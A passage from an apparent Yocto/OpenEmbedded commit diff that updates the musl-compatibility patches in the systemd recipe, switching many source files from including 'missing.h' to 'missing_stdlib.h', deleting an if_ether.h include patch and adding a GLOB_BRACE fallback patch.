+ _cleanup_free_ char *fs = NULL;
--- a/src/basic/env-util.c
+++ b/src/basic/env-util.c
-@@ -16,6 +16,7 @@
+@@ -19,6 +19,7 @@
#include "string-util.h"
#include "strv.h"
#include "utf8.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
+
+ /* We follow bash for the character set. Different shells have different rules. */
+ #define VALID_BASH_ENV_NAME_CHARS \
+--- a/src/basic/log.c
++++ b/src/basic/log.c
+@@ -36,6 +36,7 @@
+ #include "terminal-util.h"
+ #include "time-util.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ #define SNDBUF_SIZE (8*1024*1024)
- #define VALID_CHARS_ENV_NAME \
- DIGITS LETTERS \
-diff --git a/src/basic/missing_stdlib.h b/src/basic/missing_stdlib.h
-index 188a8d4406..1e16ec287a 100644
--- a/src/basic/missing_stdlib.h
+++ b/src/basic/missing_stdlib.h
@@ -11,3 +11,15 @@
@@ -104,339 +140,463 @@ index 188a8d4406..1e16ec287a 100644
+ (char *)memcpy(__new, __old, __len); \
+ })
+#endif
-diff --git a/src/basic/mkdir.c b/src/basic/mkdir.c
-index 6b82eab640..51c6b78615 100644
--- a/src/basic/mkdir.c
+++ b/src/basic/mkdir.c
-@@ -14,6 +14,7 @@
+@@ -15,6 +15,7 @@
#include "stat-util.h"
#include "stdio-util.h"
#include "user-util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
- int mkdir_safe_internal(const char *path, mode_t mode, uid_t uid, gid_t gid, MkdirFlags flags, mkdir_func_t _mkdir) {
- struct stat st;
-diff --git a/src/basic/parse-util.c b/src/basic/parse-util.c
-index 115a1494a2..07a34bfd53 100644
+ int mkdir_safe_internal(
+ const char *path,
+--- a/src/basic/mountpoint-util.c
++++ b/src/basic/mountpoint-util.c
+@@ -13,6 +13,7 @@
+ #include "missing_stat.h"
+ #include "missing_syscall.h"
+ #include "mkdir.h"
++#include "missing_stdlib.h"
+ #include "mountpoint-util.h"
+ #include "nulstr-util.h"
+ #include "parse-util.h"
--- a/src/basic/parse-util.c
+++ b/src/basic/parse-util.c
-@@ -20,6 +20,7 @@
- #include "process-util.h"
+@@ -18,6 +18,7 @@
#include "stat-util.h"
#include "string-util.h"
-+#include "missing.h"
+ #include "strv.h"
++#include "missing_stdlib.h"
int parse_boolean(const char *v) {
if (!v)
-diff --git a/src/basic/proc-cmdline.c b/src/basic/proc-cmdline.c
-index 09169cf963..f411ba897f 100644
+--- a/src/basic/path-lookup.c
++++ b/src/basic/path-lookup.c
+@@ -16,6 +16,7 @@
+ #include "strv.h"
+ #include "tmpfile-util.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ int xdg_user_runtime_dir(char **ret, const char *suffix) {
+ const char *e;
+--- a/src/basic/percent-util.c
++++ b/src/basic/percent-util.c
+@@ -3,6 +3,7 @@
+ #include "percent-util.h"
+ #include "string-util.h"
+ #include "parse-util.h"
++#include "missing_stdlib.h"
+
+ static int parse_parts_value_whole(const char *p, const char *symbol) {
+ const char *pc, *n;
--- a/src/basic/proc-cmdline.c
+++ b/src/basic/proc-cmdline.c
@@ -15,6 +15,7 @@
#include "string-util.h"
#include "util.h"
#include "virt.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
int proc_cmdline(char **ret) {
const char *e;
-diff --git a/src/basic/procfs-util.c b/src/basic/procfs-util.c
-index 7aaf95bfce..42ce53d5aa 100644
--- a/src/basic/procfs-util.c
+++ b/src/basic/procfs-util.c
-@@ -11,6 +11,7 @@
+@@ -12,6 +12,7 @@
#include "procfs-util.h"
#include "stdio-util.h"
#include "string-util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
- int procfs_tasks_get_limit(uint64_t *ret) {
+ int procfs_get_pid_max(uint64_t *ret) {
_cleanup_free_ char *value = NULL;
-diff --git a/src/basic/time-util.c b/src/basic/time-util.c
-index 3018e81acb..4e2b3b66c1 100644
--- a/src/basic/time-util.c
+++ b/src/basic/time-util.c
-@@ -28,6 +28,7 @@
+@@ -26,6 +26,7 @@
#include "string-util.h"
#include "strv.h"
#include "time-util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
static clockid_t map_clock_id(clockid_t c) {
-diff --git a/src/core/dbus-cgroup.c b/src/core/dbus-cgroup.c
-index 2f2313c599..c9937f9d62 100644
---- a/src/core/dbus-cgroup.c
-+++ b/src/core/dbus-cgroup.c
-@@ -15,6 +15,7 @@
- #include "fileio.h"
- #include "limits-util.h"
- #include "path-util.h"
-+#include "missing.h"
+--- a/src/boot/bless-boot.c
++++ b/src/boot/bless-boot.c
+@@ -19,6 +19,7 @@
+ #include "util.h"
+ #include "verbs.h"
+ #include "virt.h"
++#include "missing_stdlib.h"
- static BUS_DEFINE_PROPERTY_GET_ENUM(property_get_cgroup_device_policy, cgroup_device_policy, CGroupDevicePolicy);
+ static char **arg_path = NULL;
-diff --git a/src/core/dbus-util.c b/src/core/dbus-util.c
-index 7862beaacb..19f6968cfe 100644
+--- a/src/core/dbus-execute.c
++++ b/src/core/dbus-execute.c
+@@ -44,6 +44,7 @@
+ #include "unit-printf.h"
+ #include "user-util.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ BUS_DEFINE_PROPERTY_GET_ENUM(bus_property_get_exec_output, exec_output, ExecOutput);
+ static BUS_DEFINE_PROPERTY_GET_ENUM(property_get_exec_input, exec_input, ExecInput);
--- a/src/core/dbus-util.c
+++ b/src/core/dbus-util.c
-@@ -7,6 +7,7 @@
+@@ -9,6 +9,7 @@
#include "unit-printf.h"
#include "user-util.h"
#include "unit.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
int bus_property_get_triggered_unit(
sd_bus *bus,
-diff --git a/src/core/kmod-setup.c b/src/core/kmod-setup.c
-index a91cfebc67..a45961013f 100644
+--- a/src/core/execute.c
++++ b/src/core/execute.c
+@@ -102,6 +102,7 @@
+ #include "unit-serialize.h"
+ #include "user-util.h"
+ #include "utmp-wtmp.h"
++#include "missing_stdlib.h"
+
+ #define IDLE_TIMEOUT_USEC (5*USEC_PER_SEC)
+ #define IDLE_TIMEOUT2_USEC (1*USEC_PER_SEC)
--- a/src/core/kmod-setup.c
+++ b/src/core/kmod-setup.c
@@ -11,6 +11,7 @@
- #include "kmod-setup.h"
- #include "macro.h"
+ #include "recurse-dir.h"
#include "string-util.h"
-+#include "missing.h"
+ #include "missing_type.h"
++#include "missing_stdlib.h"
#if HAVE_KMOD
- #include <libkmod.h>
-diff --git a/src/core/service.c b/src/core/service.c
-index 73b3c9c316..ef74f00a08 100644
+ #include "module-util.h"
--- a/src/core/service.c
+++ b/src/core/service.c
-@@ -43,6 +43,7 @@
+@@ -42,6 +42,7 @@
#include "unit.h"
#include "utf8.h"
#include "util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
static const UnitActiveState state_translation_table[_SERVICE_STATE_MAX] = {
[SERVICE_DEAD] = UNIT_INACTIVE,
-diff --git a/src/journal/journalctl.c b/src/journal/journalctl.c
-index 6d6bb1cf63..6666349a35 100644
+--- a/src/coredump/coredump-vacuum.c
++++ b/src/coredump/coredump-vacuum.c
+@@ -16,6 +16,7 @@
+ #include "string-util.h"
+ #include "time-util.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ #define DEFAULT_MAX_USE_LOWER (uint64_t) (1ULL*1024ULL*1024ULL) /* 1 MiB */
+ #define DEFAULT_MAX_USE_UPPER (uint64_t) (4ULL*1024ULL*1024ULL*1024ULL) /* 4 GiB */
+--- a/src/journal-remote/journal-remote-main.c
++++ b/src/journal-remote/journal-remote-main.c
+@@ -24,6 +24,7 @@
+ #include "stat-util.h"
+ #include "string-table.h"
+ #include "strv.h"
++#include "missing_stdlib.h"
+
+ #define PRIV_KEY_FILE CERTIFICATE_ROOT "/private/journal-remote.pem"
+ #define CERT_FILE CERTIFICATE_ROOT "/certs/journal-remote.pem"
--- a/src/journal/journalctl.c
+++ b/src/journal/journalctl.c
-@@ -70,6 +70,7 @@
+@@ -73,6 +73,7 @@
#include "unit-name.h"
#include "user-util.h"
#include "varlink.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
#define DEFAULT_FSS_INTERVAL_USEC (15*USEC_PER_MINUTE)
-
-diff --git a/src/libsystemd/sd-bus/bus-message.c b/src/libsystemd/sd-bus/bus-message.c
-index eb029e4453..f31fe9d5a8 100644
+ #define PROCESS_INOTIFY_INTERVAL 1024 /* Every 1,024 messages processed */
--- a/src/libsystemd/sd-bus/bus-message.c
+++ b/src/libsystemd/sd-bus/bus-message.c
-@@ -21,6 +21,7 @@
+@@ -20,6 +20,7 @@
#include "strv.h"
#include "time-util.h"
#include "utf8.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
static int message_append_basic(sd_bus_message *m, char type, const void *p, const void **stored);
-diff --git a/src/libsystemd/sd-bus/bus-objects.c b/src/libsystemd/sd-bus/bus-objects.c
-index ae643cacc7..1b752271a5 100644
--- a/src/libsystemd/sd-bus/bus-objects.c
+++ b/src/libsystemd/sd-bus/bus-objects.c
-@@ -13,6 +13,7 @@
+@@ -12,6 +12,7 @@
#include "set.h"
#include "string-util.h"
#include "strv.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
static int node_vtable_get_userdata(
sd_bus *bus,
-diff --git a/src/libsystemd/sd-bus/test-bus-benchmark.c b/src/libsystemd/sd-bus/test-bus-benchmark.c
-index 8de0a859ee..4fd0a2e692 100644
+--- a/src/libsystemd/sd-bus/bus-socket.c
++++ b/src/libsystemd/sd-bus/bus-socket.c
+@@ -28,6 +28,7 @@
+ #include "string-util.h"
+ #include "user-util.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ #define SNDBUF_SIZE (8*1024*1024)
+
+--- a/src/libsystemd/sd-bus/sd-bus.c
++++ b/src/libsystemd/sd-bus/sd-bus.c
+@@ -43,6 +43,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ #define log_debug_bus_message(m) \
+ do { \
--- a/src/libsystemd/sd-bus/test-bus-benchmark.c
+++ b/src/libsystemd/sd-bus/test-bus-benchmark.c
@@ -14,6 +14,7 @@
- #include "missing_resource.h"
+ #include "string-util.h"
#include "time-util.h"
#include "util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
#define MAX_SIZE (2*1024*1024)
-diff --git a/src/locale/keymap-util.c b/src/locale/keymap-util.c
-index f8c36c94f5..41f5606aea 100644
+--- a/src/libsystemd/sd-journal/sd-journal.c
++++ b/src/libsystemd/sd-journal/sd-journal.c
+@@ -41,6 +41,7 @@
+ #include "string-util.h"
+ #include "strv.h"
+ #include "syslog-util.h"
++#include "missing_stdlib.h"
+
+ #define JOURNAL_FILES_MAX 7168
+
--- a/src/locale/keymap-util.c
+++ b/src/locale/keymap-util.c
-@@ -22,6 +22,7 @@
+@@ -24,6 +24,7 @@
#include "string-util.h"
#include "strv.h"
#include "tmpfile-util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
static bool startswith_comma(const char *s, const char *prefix) {
s = startswith(s, prefix);
-diff --git a/src/login/pam_systemd.c b/src/login/pam_systemd.c
-index 3f762cbbc3..005cfea658 100644
--- a/src/login/pam_systemd.c
+++ b/src/login/pam_systemd.c
-@@ -28,6 +28,7 @@
- #include "hostname-util.h"
+@@ -31,6 +31,7 @@
+ #include "locale-util.h"
#include "login-util.h"
#include "macro.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
+ #include "pam-util.h"
#include "parse-util.h"
#include "path-util.h"
- #include "process-util.h"
-diff --git a/src/network/generator/network-generator.c b/src/network/generator/network-generator.c
-index 0b5af33566..9c808cd014 100644
--- a/src/network/generator/network-generator.c
+++ b/src/network/generator/network-generator.c
@@ -13,6 +13,7 @@
#include "string-table.h"
#include "string-util.h"
#include "strv.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
/*
# .network
-diff --git a/src/nspawn/nspawn-settings.c b/src/nspawn/nspawn-settings.c
-index 3a99736813..279fea4d88 100644
--- a/src/nspawn/nspawn-settings.c
+++ b/src/nspawn/nspawn-settings.c
-@@ -16,6 +16,7 @@
+@@ -17,6 +17,7 @@
#include "strv.h"
#include "user-util.h"
#include "util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
Settings *settings_new(void) {
Settings *s;
-diff --git a/src/shared/dns-domain.c b/src/shared/dns-domain.c
-index f62ad0a0f5..f1a27e158d 100644
+--- a/src/nss-mymachines/nss-mymachines.c
++++ b/src/nss-mymachines/nss-mymachines.c
+@@ -21,6 +21,7 @@
+ #include "nss-util.h"
+ #include "signal-util.h"
+ #include "string-util.h"
++#include "missing_stdlib.h"
+
+ static void setup_logging_once(void) {
+ static pthread_once_t once = PTHREAD_ONCE_INIT;
+--- a/src/portable/portable.c
++++ b/src/portable/portable.c
+@@ -39,6 +39,7 @@
+ #include "strv.h"
+ #include "tmpfile-util.h"
+ #include "user-util.h"
++#include "missing_stdlib.h"
+
+ /* Markers used in the first line of our 20-portable.conf unit file drop-in to determine, that a) the unit file was
+ * dropped there by the portable service logic and b) for which image it was dropped there. */
+--- a/src/resolve/resolvectl.c
++++ b/src/resolve/resolvectl.c
+@@ -43,6 +43,7 @@
+ #include "utf8.h"
+ #include "verb-log-control.h"
+ #include "verbs.h"
++#include "missing_stdlib.h"
+
+ static int arg_family = AF_UNSPEC;
+ static int arg_ifindex = 0;
+--- a/src/shared/bus-get-properties.c
++++ b/src/shared/bus-get-properties.c
+@@ -4,6 +4,7 @@
+ #include "rlimit-util.h"
+ #include "stdio-util.h"
+ #include "string-util.h"
++#include "missing_stdlib.h"
+
+ int bus_property_get_bool(
+ sd_bus *bus,
+--- a/src/shared/bus-unit-procs.c
++++ b/src/shared/bus-unit-procs.c
+@@ -10,6 +10,7 @@
+ #include "sort-util.h"
+ #include "string-util.h"
+ #include "terminal-util.h"
++#include "missing_stdlib.h"
+
+ struct CGroupInfo {
+ char *cgroup_path;
+--- a/src/shared/bus-unit-util.c
++++ b/src/shared/bus-unit-util.c
+@@ -49,6 +49,7 @@
+ #include "unit-def.h"
+ #include "user-util.h"
+ #include "utf8.h"
++#include "missing_stdlib.h"
+
+ int bus_parse_unit_info(sd_bus_message *message, UnitInfo *u) {
+ assert(message);
+--- a/src/shared/bus-util.c
++++ b/src/shared/bus-util.c
+@@ -21,6 +21,7 @@
+ #include "path-util.h"
+ #include "socket-util.h"
+ #include "stdio-util.h"
++#include "missing_stdlib.h"
+
+ static int name_owner_change_callback(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
+ sd_event *e = userdata;
--- a/src/shared/dns-domain.c
+++ b/src/shared/dns-domain.c
-@@ -24,6 +24,7 @@
+@@ -17,6 +17,7 @@
#include "string-util.h"
#include "strv.h"
#include "utf8.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
int dns_label_unescape(const char **name, char *dest, size_t sz, DNSLabelFlags flags) {
const char *n;
-diff --git a/src/shared/journal-importer.c b/src/shared/journal-importer.c
-index 7c4fc7021d..a6ff2214df 100644
--- a/src/shared/journal-importer.c
+++ b/src/shared/journal-importer.c
-@@ -14,6 +14,7 @@
+@@ -15,6 +15,7 @@
#include "parse-util.h"
#include "string-util.h"
#include "unaligned.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
enum {
IMPORTER_STATE_LINE = 0, /* waiting to read, or reading line */
-diff --git a/src/shared/logs-show.c b/src/shared/logs-show.c
-index b615c70dff..75b26e9c21 100644
--- a/src/shared/logs-show.c
+++ b/src/shared/logs-show.c
-@@ -39,6 +39,7 @@
- #include "time-util.h"
+@@ -42,6 +42,7 @@
#include "utf8.h"
#include "util.h"
-+#include "missing.h"
+ #include "web-util.h"
++#include "missing_stdlib.h"
/* up to three lines (each up to 100 characters) or 300 characters, whichever is less */
#define PRINT_LINE_THRESHOLD 3
-diff --git a/src/shared/pager.c b/src/shared/pager.c
-index 7c20b100b4..e4209d3a95 100644
--- a/src/shared/pager.c
+++ b/src/shared/pager.c
-@@ -25,6 +25,7 @@
+@@ -26,6 +26,7 @@
#include "strv.h"
#include "terminal-util.h"
#include "util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
static pid_t pager_pid = 0;
-diff --git a/src/shared/path-lookup.c b/src/shared/path-lookup.c
-index 6bf0ff0316..f6c8009cd2 100644
---- a/src/shared/path-lookup.c
-+++ b/src/shared/path-lookup.c
-@@ -20,6 +20,7 @@
- #include "tmpfile-util.h"
- #include "user-util.h"
- #include "util.h"
-+#include "missing.h"
-
- int xdg_user_runtime_dir(char **ret, const char *suffix) {
- const char *e;
-diff --git a/src/shared/uid-range.c b/src/shared/uid-range.c
-index 7cb7d8a477..8b12b91084 100644
--- a/src/shared/uid-range.c
+++ b/src/shared/uid-range.c
@@ -9,6 +9,7 @@
#include "sort-util.h"
#include "uid-range.h"
#include "user-util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
static bool uid_range_intersect(UidRange *range, uid_t start, uid_t nr) {
assert(range);
-diff --git a/src/socket-proxy/socket-proxyd.c b/src/socket-proxy/socket-proxyd.c
-index abbbc9f2d6..6179b5851e 100644
--- a/src/socket-proxy/socket-proxyd.c
+++ b/src/socket-proxy/socket-proxyd.c
-@@ -28,6 +28,7 @@
+@@ -26,6 +26,7 @@
#include "socket-util.h"
#include "string-util.h"
#include "util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
#define BUFFER_SIZE (256 * 1024)
-diff --git a/src/test/test-hexdecoct.c b/src/test/test-hexdecoct.c
-index 52217429b1..a05e7782f6 100644
--- a/src/test/test-hexdecoct.c
+++ b/src/test/test-hexdecoct.c
-@@ -6,6 +6,7 @@
- #include "hexdecoct.h"
+@@ -7,6 +7,7 @@
#include "macro.h"
+ #include "random-util.h"
#include "string-util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
+ #include "tests.h"
- static void test_hexchar(void) {
- assert_se(hexchar(0xa) == 'a');
-diff --git a/src/udev/udev-builtin-path_id.c b/src/udev/udev-builtin-path_id.c
-index e8f1ce1354..8693cb02a4 100644
+ TEST(hexchar) {
--- a/src/udev/udev-builtin-path_id.c
+++ b/src/udev/udev-builtin-path_id.c
-@@ -23,6 +23,7 @@
- #include "strv.h"
+@@ -22,6 +22,7 @@
#include "sysexits.h"
#include "udev-builtin.h"
-+#include "missing.h"
+ #include "udev-util.h"
++#include "missing_stdlib.h"
_printf_(2,3)
static void path_prepend(char **path, const char *fmt, ...) {
-diff --git a/src/udev/udev-event.c b/src/udev/udev-event.c
-index 8cfa2cdf23..b0670c77ec 100644
--- a/src/udev/udev-event.c
+++ b/src/udev/udev-event.c
@@ -35,6 +35,7 @@
#include "udev-util.h"
#include "udev-watch.h"
#include "user-util.h"
-+#include "missing.h"
++#include "missing_stdlib.h"
typedef struct Spawn {
sd_device *device;
-diff --git a/src/udev/udev-rules.c b/src/udev/udev-rules.c
-index 1642f10535..fe2aa75478 100644
--- a/src/udev/udev-rules.c
+++ b/src/udev/udev-rules.c
-@@ -28,6 +28,7 @@
- #include "udev-event.h"
- #include "udev-rules.h"
+@@ -34,6 +34,7 @@
+ #include "udev-util.h"
#include "user-util.h"
-+#include "missing.h"
+ #include "virt.h"
++#include "missing_stdlib.h"
#define RULES_DIRS (const char* const*) CONF_PATHS_STRV("udev/rules.d")
+--- a/src/core/dbus-cgroup.c
++++ b/src/core/dbus-cgroup.c
+@@ -21,6 +21,7 @@
+ #include "parse-util.h"
+ #include "path-util.h"
+ #include "percent-util.h"
++#include "missing_stdlib.h"
+ #include "socket-util.h"
+
+ BUS_DEFINE_PROPERTY_GET(bus_property_get_tasks_max, "t", TasksMax, tasks_max_resolve);
+--- a/src/fstab-generator/fstab-generator.c
++++ b/src/fstab-generator/fstab-generator.c
+@@ -29,6 +29,7 @@
+ #include "util.h"
+ #include "virt.h"
+ #include "volatile-util.h"
++#include "missing_stdlib.h"
+
+ typedef enum MountPointFlags {
+ MOUNT_NOAUTO = 1 << 0,
diff --git a/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch b/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch
deleted file mode 100644
index 6d73d715ce..0000000000
--- a/meta/recipes-core/systemd/systemd/0006-Include-netinet-if_ether.h.patch
+++ /dev/null
@@ -1,227 +0,0 @@
-Include netinet/if_ether.h
-
-Fixes
-/path/to/systemd/recipe-sysroot/usr/include/netinet/if_ether.h:101:8: error: redefinition of 'struct ethhdr'
- struct ethhdr {
- ^~~~~~
-
-and related arphdr, arpreq, and arpreq_old errors
-/path/to/systemd/recipe-sysroot/usr/include/net/if_arp.h:22:8: error: redefinition of 'struct arphdr'
- struct arphdr {
- ^~~~~~
-
-The latter requires removing some includes of net/if_arp.h to avoid
-conflicting with netinet/if_ether.h.
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
----
- src/libsystemd-network/sd-dhcp6-client.c | 1 -
- src/libsystemd/sd-netlink/netlink-types.c | 1 +
- src/machine/machine-dbus.c | 1 +
- src/network/netdev/macsec.c | 1 +
- src/network/netdev/netdev.c | 1 +
- src/network/networkd-brvlan.c | 1 +
- src/network/networkd-dhcp-common.c | 1 +
- src/network/networkd-dhcp4.c | 2 +-
- src/network/networkd-dhcp6.c | 2 +-
- src/network/networkd-link.c | 2 +-
- src/network/networkd-network.c | 1 +
- src/shared/ethtool-util.c | 1 +
- src/shared/ethtool-util.h | 1 +
- src/udev/net/link-config.c | 1 +
- src/udev/udev-builtin-net_setup_link.c | 1 +
- 15 files changed, 14 insertions(+), 4 deletions(-)
-
-diff --git a/src/libsystemd-network/sd-dhcp6-client.c b/src/libsystemd-network/sd-dhcp6-client.c
-index d7a5349c70..68b41dfb6c 100644
---- a/src/libsystemd-network/sd-dhcp6-client.c
-+++ b/src/libsystemd-network/sd-dhcp6-client.c
-@@ -6,7 +6,6 @@
- #include <errno.h>
- #include <string.h>
- #include <sys/ioctl.h>
--#include <linux/if_arp.h>
- #include <linux/if_infiniband.h>
-
- #include "sd-dhcp6-client.h"
-diff --git a/src/libsystemd/sd-netlink/netlink-types.c b/src/libsystemd/sd-netlink/netlink-types.c
-index de9b8b21ab..f64f6500f7 100644
---- a/src/libsystemd/sd-netlink/netlink-types.c
-+++ b/src/libsystemd/sd-netlink/netlink-types.c
-@@ -3,6 +3,7 @@
- #include <netinet/in.h>
- #include <stdint.h>
- #include <sys/socket.h>
-+#include <netinet/if_ether.h>
- #include <linux/can/vxcan.h>
- #include <linux/netlink.h>
- #include <linux/rtnetlink.h>
-diff --git a/src/machine/machine-dbus.c b/src/machine/machine-dbus.c
-index 0d58b5eb8b..01093c1f62 100644
---- a/src/machine/machine-dbus.c
-+++ b/src/machine/machine-dbus.c
-@@ -4,6 +4,7 @@
- #include <string.h>
- #include <sys/mount.h>
- #include <sys/wait.h>
-+#include <netinet/if_ether.h>
-
- /* When we include libgen.h because we need dirname() we immediately
- * undefine basename() since libgen.h defines it as a macro to the POSIX
-diff --git a/src/network/netdev/macsec.c b/src/network/netdev/macsec.c
-index cf281e75a6..269dc618ff 100644
---- a/src/network/netdev/macsec.c
-+++ b/src/network/netdev/macsec.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <netinet/in.h>
- #include <linux/if_ether.h>
- #include <linux/if_macsec.h>
-diff --git a/src/network/netdev/netdev.c b/src/network/netdev/netdev.c
-index 7735b455b7..ed4eda4a44 100644
---- a/src/network/netdev/netdev.c
-+++ b/src/network/netdev/netdev.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <net/if.h>
- #include <netinet/in.h>
-
-diff --git a/src/network/networkd-brvlan.c b/src/network/networkd-brvlan.c
-index c3c5d535ac..ebea408c89 100644
---- a/src/network/networkd-brvlan.c
-+++ b/src/network/networkd-brvlan.c
-@@ -4,6 +4,7 @@
- ***/
-
- #include <netinet/in.h>
-+#include <netinet/if_ether.h>
- #include <linux/if_bridge.h>
- #include <stdbool.h>
-
-diff --git a/src/network/networkd-dhcp-common.c b/src/network/networkd-dhcp-common.c
-index 626b975839..42fe92f320 100644
---- a/src/network/networkd-dhcp-common.c
-+++ b/src/network/networkd-dhcp-common.c
-@@ -1,6 +1,7 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
- #include "networkd-dhcp-common.h"
-+#include <netinet/if_ether.h>
- #include "networkd-network.h"
- #include "parse-util.h"
- #include "string-table.h"
-diff --git a/src/network/networkd-dhcp4.c b/src/network/networkd-dhcp4.c
-index 662770b50e..c6ab62a94d 100644
---- a/src/network/networkd-dhcp4.c
-+++ b/src/network/networkd-dhcp4.c
-@@ -1,8 +1,8 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <netinet/in.h>
- #include <linux/if.h>
--#include <linux/if_arp.h>
-
- #include "alloc-util.h"
- #include "hostname-util.h"
-diff --git a/src/network/networkd-dhcp6.c b/src/network/networkd-dhcp6.c
-index 8ad736a82b..f41b4d834e 100644
---- a/src/network/networkd-dhcp6.c
-+++ b/src/network/networkd-dhcp6.c
-@@ -3,9 +3,9 @@
- Copyright © 2014 Intel Corporation. All rights reserved.
- ***/
-
-+#include <netinet/if_ether.h>
- #include <netinet/in.h>
- #include <linux/if.h>
--#include <linux/if_arp.h>
- #include "sd-radv.h"
-
- #include "sd-dhcp6-client.h"
-diff --git a/src/network/networkd-link.c b/src/network/networkd-link.c
-index f5bb78890a..f13a36b791 100644
---- a/src/network/networkd-link.c
-+++ b/src/network/networkd-link.c
-@@ -1,8 +1,8 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <netinet/in.h>
- #include <linux/if.h>
--#include <linux/if_arp.h>
- #include <unistd.h>
-
- #include "alloc-util.h"
-diff --git a/src/network/networkd-network.c b/src/network/networkd-network.c
-index 2b8d0eb2fb..2f79ef25cd 100644
---- a/src/network/networkd-network.c
-+++ b/src/network/networkd-network.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <net/if.h>
- #include <netinet/in.h>
- #include <linux/netdevice.h>
-diff --git a/src/shared/ethtool-util.c b/src/shared/ethtool-util.c
-index b0961df72e..53fcbbd84b 100644
---- a/src/shared/ethtool-util.c
-+++ b/src/shared/ethtool-util.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <net/if.h>
- #include <sys/ioctl.h>
- #include <linux/ethtool.h>
-diff --git a/src/shared/ethtool-util.h b/src/shared/ethtool-util.h
-index 8b32b243f3..262b819976 100644
---- a/src/shared/ethtool-util.h
-+++ b/src/shared/ethtool-util.h
-@@ -2,6 +2,7 @@
- #pragma once
-
- #include <macro.h>
-+#include <netinet/if_ether.h>
- #include <linux/ethtool.h>
-
- #include "conf-parser.h"
-diff --git a/src/udev/net/link-config.c b/src/udev/net/link-config.c
-index d44af64d5e..fd052f1591 100644
---- a/src/udev/net/link-config.c
-+++ b/src/udev/net/link-config.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include <linux/netdevice.h>
- #include <netinet/ether.h>
-
-diff --git a/src/udev/udev-builtin-net_setup_link.c b/src/udev/udev-builtin-net_setup_link.c
-index ee3ca9fa38..9aa4e82874 100644
---- a/src/udev/udev-builtin-net_setup_link.c
-+++ b/src/udev/udev-builtin-net_setup_link.c
-@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
-
-+#include <netinet/if_ether.h>
- #include "device-util.h"
- #include "alloc-util.h"
- #include "link-config.h"
diff --git a/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch b/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch
new file mode 100644
index 0000000000..846c01bd4f
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch
@@ -0,0 +1,147 @@
+From fb068403b25002156435350165ea418a6338a313 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 14:56:21 +0800
+Subject: [PATCH] don't fail if GLOB_BRACE and GLOB_ALTDIRFUNC is not defined
+
+If the standard library doesn't provide brace
+expansion users just won't get it.
+
+Dont use GNU GLOB extentions on non-glibc systems
+
+Conditionalize use of GLOB_ALTDIRFUNC
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/basic/glob-util.c | 12 ++++++++++++
+ src/test/test-glob-util.c | 16 ++++++++++++++++
+ src/tmpfiles/tmpfiles.c | 10 ++++++++++
+ 3 files changed, 38 insertions(+)
+
+--- a/src/basic/glob-util.c
++++ b/src/basic/glob-util.c
